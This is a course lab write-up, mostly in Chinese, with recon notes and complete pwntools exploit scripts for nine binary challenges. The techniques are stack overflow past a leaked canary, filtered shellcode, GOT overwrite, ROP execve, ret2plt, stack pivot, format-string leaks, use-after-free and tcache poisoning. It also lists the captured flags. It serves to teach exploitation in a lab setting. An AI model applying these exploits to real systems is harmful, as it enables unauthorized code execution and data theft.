# SWSEC LAB3 Writeup
###### tags: `swsec` `writeup`
<style>
p:has(img) {
text-align: center;
}
.markdown-body img {
max-width: 75%;
}
</style>
## Stackoverflow
### Recon
保護全開

buf 僅有 8 bytes 但 read 0x20 bytes
雖然有 ASLR 但他把 win 給你了
也透過 write 0x20 把 stack 上的 canary 與 old rbp 一起送給你

### Exploit

Stack 由高位置往低位置長 但寫 char array 是從低到高
因此可以 override 掉 stack frame 中的 rbp / return address 來控制程式流程
把 buf 填滿後 把 canary 照著填回去 然後讓他 return 到 win 即可
另外要注意跑完 main 的 function epilogue 之後 再做 win 的 function prologue stack 會不對齊 0x10 進而導致 `system` 中的 xmm register 相關操作噴 SEGV
因此要跳到 win 底下一點點來跳過 push rbp 的部分
`Stackoverflow/exp.py`
```python
from pwn import *
context.log_level = 'error'
host, port = "10.113.184.121", 10041
r = remote(host, port)
r.recvuntil(b"Gift: ")
win = int(r.recvline().strip(), 16)
r.recvuntil(b"Gift2: ")
gift2 = r.recv(0x20)
canary = gift2[8:8+8]
rbp = gift2[16:16+8]
r.send(b"A" * 8 + canary + rbp + p64(win + 5)) # skip push rbp to align stack
r.interactive()
```

FLAG: `flag{Y0u_know_hoW2L3@k_canAry}`
## Shellcode
### Recon

開了一塊 mmap 記憶體 具可執行權限 (prot = `7` (RWX))
然後跳過去執行 (`rax` 為 mmap return 的 address)
可以直接寫 shellcode 上去 讓他執行
但若出現 `0xF` 或 `0x5` 會被 patch 成 NULL
### Exploit
`syscall` 的 OP code 即為 `0F 05` 因此需要做繞過
這裡透過 XOR 來將 encode 過的 syscall OP code 做 decode 再 jmp 回 decode 好的 syscall 位置 (暫存到 `rbx` 算 offset)
`Shellcode/exp.py`
```python
from pwn import *
r = remote(host, port)
syscall = asm("syscall")
shellcode = f"""
mov rbx, rax /* save address of 'memory' */
{shellcraft.pushstr('/bin/sh')}
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
jmp .+{hex(len(syscall) + 2)} /* len(asm('jmp ..')) = 2 */
"""
payload = asm(shellcode)
bypass_syscall = f"""
lea rbx, [rbx+{len(payload)}] /* len(payload) */
xor DWORD PTR [rbx], 0x1010
jmp rbx
"""
payload += xor(syscall, b"\x10")
payload += asm(bypass_syscall)
r.send(payload + b"\x90" * (0x1000 - len(payload))) # nop
r.interactive()
```

FLAG: `flag{How_you_do0o0o0o_sysca1111111}`
## Got
### Recon
Partial RELRO


index (v4) 沒有檢查是否為負數 又 arr 在 .bss
可以透過負的 index 讀到 .bss 前面的東西 再改掉其值
比如說 GOT

因為 Partial RELRO -> GOT 可寫
所以可以改寫 GOT 成 `system` 來拿 shell
### Exploit
底下有 call `printf("/bin/sh")` 所以把 `printf` 蓋成 `system` 就有 shell 不用再想辦法造 `"/bin/sh"`
`printf` 的 GOT 在 `0x4020` `arr` 在 `0x4048`
idx = $(\text{0x4020} - \text{0x4048}) / \text{0x8} = -5$
`Got/exp.py`
```python
from pwn import *
r = remote(host, port)
libc = ELF("./libc.so.6")
index = (0x4020 - 0x4048) // 8
r.sendlineafter(b"idx: ", str(index).encode())
r.recvuntil(b" = ")
printf = int(r.recvline().strip())
libc.address = printf - libc.sym['printf']
r.sendlineafter(b"val: ", str(libc.sym['system']).encode())
r.interactive()
```

FLAG: `flag{Libccccccccccccccccccccccccccc}`
## ROP_RW
### Recon
Staically linked binary

有 NX 但沒開 PIE


`v13` 僅有 24 bytes gets 則會讀到 `\n` 或 EOF 才停止 因此可以用來做 BOF
### Exploit
因為 NX 所以需透過 ROP 做攻擊
另外其為 statically linked binary 所以用此 binary 裡的 ROP gadget 即可
ROP gadget 可透過 `ROPgadget` 的 python package 來找
bss 上剛好有個 empty_buf 可以拿來放 `"/bin/sh"`

直接堆一個 `execve('/bin/sh', 0, 0)` 出來拿 shell
`ROP_RW/exp.py`
```python
from pwn import *
r = remote(host, port)
PADDING = 0x20
BIN_SH_ADDR = 0x4C7320 # empty_buf
POP_RAX = 0x450117
POP_RDI = 0x4020af
POP_RSI = 0x40a11e
POP_RDX_RBX = 0x485e8b
MOV_QWORD_PTR_RDI_RDX = 0x4337e3
SYSCALL = 0x401e64
payload = flat([
b'A' * PADDING,
b'A' * 0x8,
POP_RDI, BIN_SH_ADDR,
POP_RDX_RBX, b'/bin/sh\0', b'/bin/sh\0',
MOV_QWORD_PTR_RDI_RDX, # write /bin/sh to BIN_SH_ADDR
POP_RDX_RBX, 0, 0,
POP_RSI, 0,
POP_RAX, 59,
SYSCALL # execve('/bin/sh', 0, 0)
])
r.sendlineafter(b"> ", payload)
r.interactive()
```

FLAG: `flag{ShUsHuSHU}`
## ROP_Syscall
### Recon
Staically linked binary

有 NX 但沒開 PIE

`v8` 8 bytes 但用 gets 可以做 BOF
有 NX 所以疊 ROP

### Exploit
binary 裡面有 ``"/bin/sh\0"``

找到字串 address 把 rdi 設過去即可
堆一個 `execve('/bin/sh', 0, 0)` 出來拿 shell
`ROP_Syscall/exp.py`
```python
from pwn import *
r = remote(host, port)
PADDING = 0x10
BIN_SH_ADDR = 0x498027 # /bin/sh in binary
POP_RAX = 0x450087
POP_RDI = 0x401f0f
POP_RSI = 0x409f7e
POP_RDX_RBX = 0x485e0b
SYSCALL = 0x401cc4
payload = flat([
b'A' * PADDING,
b'A' * 0x8,
POP_RDI, BIN_SH_ADDR,
POP_RDX_RBX, 0, 0,
POP_RSI, 0,
POP_RAX, 59,
SYSCALL # execve('/bin/sh', 0, 0)
])
r.sendlineafter(b"> ", payload)
r.interactive()
```

FLAG: `flag{www.youtube.com/watch?v=apN1VxXKio4}`
## ret2plt
### Recon
非 statically linked binary

保護只有 NX
No RELRO -> GOT 可寫


`v4` 可以用 gets 做 BOF
### Exploit
return 到 PLT 上的 stub 就可 call 該 library function
`puts@plt` 會輸出直到 NULL bytes 可以利用它來輸出 GOT 上的位置 (ex. `puts@got`) 來 leak libc base
後面用 `gets@plt` 可以把東西寫回去 這裡把 `puts@got` 寫成 `system` 的 address
另外 `setvbuf@got` 用不到了 借來用 `gets@plt` 把 `"/bin/sh\x00"` 讀上去
後面用 `puts@plt` 來達到 call `system("/bin/sh")` 的效果
`ret2plt/exp.py`
```python
from pwn import *
r = remote(host, port)
libc = ELF("./libc.so.6")
PADDING = 0x20
POP_RDI = 0x401263
BIN_SH_ADDR = 0x403380 # setvbuf@got
PUTS_GOT = 0x403368
PUTS_PLT = 0x401070
GETS_PLT = 0x401090
payload = flat([
b'A' * PADDING,
b'A' * 0x8,
POP_RDI, PUTS_GOT,
PUTS_PLT,
POP_RDI, PUTS_GOT,
GETS_PLT,
POP_RDI, BIN_SH_ADDR,
GETS_PLT,
POP_RDI, BIN_SH_ADDR,
PUTS_PLT
])
r.sendlineafter(b" :", payload)
r.recvuntil(b"boom !\n")
puts_addr = int(r.recv(6)[::-1].hex(), 16)
print(hex(puts_addr))
libc.address = puts_addr - libc.symbols['puts']
r.sendline(p64(libc.symbols['system']))
r.sendline(b"/bin/sh\x00")
r.interactive()
```

FLAG: `flag{__libc_csu_init_1s_P0w3RFu1l!!}`
## Stack Pivot
### Recon
Statically linked binary

No PIE


read 超過 `v4` 可以 BOF
但只讀 128 bytes 扣掉 `v4`、canary、old rbp 之後 只能寫 0x50 的 ROP 不太夠用
### Exploit
將 ROP 分成三段 (orw) 來做 每次都跳回去 `main+0xc` 來重新觸發漏洞
stack 上可能不好控 因此透過 old rbp 來將 stack 整個搬走 (下次 `leave` 時會 `mov rsp, rbp`)
用 bss 上的 `0x4c2700` 跟 `0x4c2900` 來回做 stack pivot
<img src=https://hackmd.io/_uploads/By6La1d86.png style="width: 45%"> <img src=https://hackmd.io/_uploads/HJwO6kdLT.png style="width: 45%">
後來有找到 `pop rdx ; ret` 的 gadget 所以直接先用了
因為 syscall 完不能就射後不理 後面需要有 `ret`
但用 ROPgadget 找不到直接 ret 的 syscall gadget 所以用 objdump 另外翻了一下

只要 syscall 不失敗 `rax` 就不會小於 0 也不會觸發 ja
因此效果等同於 `syscall ; ret`
`Stack Pivot/exp.py`
```python
from pwn import *
r = remote(host, port)
PADDING = 0x20
STACK1_RBP = 0x4c2700
STACK2_RBP = 0x4c2900
BIN_SH_ADDR = 0x4C7320 # empty_buf
BUF_ADDR = 0x4c2800
READ_AGAIN_ADDR = 0x401ce1 # main+0xc
POP_RAX = 0x448d27
POP_RDI = 0x401832
POP_RSI = 0x40f01e
POP_RDX = 0x40173f
SYSCALL = 0x448280
pivot_payload = flat([
b'A' * PADDING,
STACK1_RBP,
READ_AGAIN_ADDR
])
r.send(pivot_payload + b"\0" * (0x80 - len(pivot_payload)))
open_payload = flat([
b"/home/chal/flag.txt".ljust(PADDING, b"\x00"),
STACK2_RBP,
POP_RDI, STACK1_RBP - 0x20,
POP_RSI, 0,
POP_RDX, 0,
POP_RAX, 2, # open
SYSCALL,
READ_AGAIN_ADDR
])
r.send(open_payload + b"\0" * (0x80 - len(open_payload)))
read_payload = flat([
b"A" * PADDING,
STACK1_RBP,
POP_RDI, 3, # fd
POP_RSI, BUF_ADDR,
POP_RDX, 0x30, # size
POP_RAX, 0, # read
SYSCALL,
READ_AGAIN_ADDR
])
r.send(read_payload + b"\0" * (0x80 - len(read_payload)))
write_payload = flat([
b"A" * PADDING,
b"A" * 8,
POP_RDI, 1, # fd
POP_RSI, BUF_ADDR,
POP_RDX, 0x30,
POP_RAX, 1, # write
SYSCALL
])
r.send(write_payload)
flag = r.recvline()
print(flag.strip().decode())
```

FLAG: `flag{www.youtube.com/watch?v=VLxvVPNpU04}`
## FMT
### Recon

直接 `printf` 使用者輸入 可以透過 format string 來 leak stack 上的東西

### Exploit
先用 `%idx$p` leak stack 上的 return addr 來算 binary base
再算出 `&flag` 並用 `%s` 來把內容印出來

可以看到在 `$rsp + 0x138` 的地方有 `main` 的 address
其 idx 為 `5 + (0x0138 // 8 + 1)` (5 是五個 function 參數)
另外印 flag 的部分 是將 address 寫到 stack 上 算好其 offset 算出其 idx
讓前面 format 的部分剛好是 8 bytes 長 就可以用 buf 的 offset 算出 idx 後再 +1
`FMT/exp.py`
```python
from pwn import *
r = remote(host, port)
idx = 5 + (0x0138 // 8 + 1)
r.sendline(f"%{idx}$p".encode())
main_addr = int(r.recvline().decode().strip(), 16)
binary_base = main_addr - 0x11E9
flag_addr = binary_base + 0x4040
idx = 5 + (0x10 // 8 + 1)
# len("%{idx + 1}$s....") = 8
payload = f"%{idx + 1}$s".ljust(8, ".").encode() + p64(flag_addr)
r.sendline(payload)
flag = r.recvline()
print(flag.decode())
```

FLAG: `flag{www.youtube.com/watch?v=Ci_zad39Uhw}`
## UAF
### Recon
保護全開

struct 中有 function pointer

`register_entity` 會把 malloc 出來的 address 放到 global variable 上

另外 `set_name` 會另外 malloc 一塊記憶體放到 entity chunk 中

`delete_entity` free 完之後不會清掉 `entities` 上面的值 因此有機會 use after free 蓋掉 function pointer 來執行 function

`trigger_event` 會以 `entity->event` 為參數 call `entity->event_handler`

前面還會直接送你 `system` address 跟第一個 malloc chunk 的 address

### Exploit
他的 free 順序是先 free name 才 free entity
透過 tcache 的 FILO 特性 下次 call `set_name` 時若其 chunk size 與 `entity` 一樣大 就會拿出剛剛 free 的那個 entity 可以隨意更改其內容
把 idx 1 的 entity free 掉 再 `set_name` 0x18 長的資料即可任意寫 `entities[1]` 所指向的 entity
可以透過 `set_name` 來寫 `"/bin/sh"` 並可透過 `gift2` 來算出其在哪個 address
最後將 `entity->event_handler` 寫成 `system` 再將 `entity->event` 寫成 `&"/bin/sh"` `trigger_event` 後就可彈 shell

`register_entity`、`delete_entity`、`set_name` 等 function 請參考壓縮檔中腳本
`UAF/exp.py`
```python
from pwn import *
r = remote(host, port)
r.recvuntil(b"gift1: ")
system_addr = int(r.recvline().decode().strip(), 16)
r.recvuntil(b"gift2: ")
first_chunk_addr = int(r.recvline().decode().strip(), 16) # 0x10
sh_addr = first_chunk_addr + 0x10 + (0x10 + 0x10) + (0x10)
register(0)
set_name(0, b"/bin/sh")
register(1)
delete(1)
set_name(1, p64(sh_addr) + p64(sh_addr) + p64(system_addr)[:-2]) # strip last \x00
trigger_event(1) # trigger system
r.interactive()
```

FLAG: `flag{https://www.youtube.com/watch?v=CUSUhXqThjY}`
## Double Free
### Recon
保護全開

一開始會先將 flag read 到 idx 0 的 note 上

`get_idx` 會檢查範圍

`notes` 為 global var 有 15 個 `struct note` 裡面存有 malloc 的 address (`add_note`)


free 完沒有設成 NULL 有機會 UAF (`delete_note`)

`write_note` 沒有再做 malloc 只有單純 read

### Exploit
在 tcache 中的 chunk data 前 8 bytes 會指到下一個 tcache bin 中的 chunk

透過重複 free 同個 chunk 可以讓 bin 中出現重複的 chunk
這樣第一次 malloc 跟後面再 malloc 就能拿到同個 chunk
這時再改寫 chunk 中的資料來 override next ptr 後 就能讓 malloc 回傳任意的位置 也就是 tcache poisoning

free 時要讓 key != tcache 否則會噴 `free(): double free detected in tcache`
前面先用 UAF 來 leak next 以計算 flag chunk 的 offset
這裡讓 malloc return 的位置是放 flag 的 address 再去 `read_note`
因為每次 malloc 時 key 會被清空 所以一次讀前 8 bytes 然後下次讀 `&flag + offset` (offset 每次 +8)
`add_note`、`delete_note`、`read_note` 等 function 請參考壓縮檔中腳本
`UAF/exp.py`
```python
from pwn import *
def get_conn():
return remote(host, port)
def tcache_poisoning(offset):
global r
r = get_conn()
add_note(10, 0x10)
add_note(11, 0x10)
delete_note(10)
delete_note(11)
# first malloc chunk data
chunk_addr = u64(read_note(11, 8))
flag_addr = chunk_addr - 0x10 - 0x30 + offset
# double free
add_note(1, 0x30)
delete_note(1)
write_note(1, b"\0" * 0x30)
delete_note(1)
write_note(1, b"\0" * 0x30)
delete_note(1)
# overwrite next
add_note(1, 0x30)
write_note(1, p64(flag_addr) + b"\0" * (0x30 - 8))
add_note(2, 0x30)
add_note(3, 0x30)
flag = read_note(3, 8)
return flag
flag = b""
for i in range(0, 0x30, 8):
part = tcache_poisoning(i)
if sum(part) == 0: break
flag += part
print(flag.strip(b"\0").strip().decode())
```

FLAG: `flag{a_iU8YeH944}`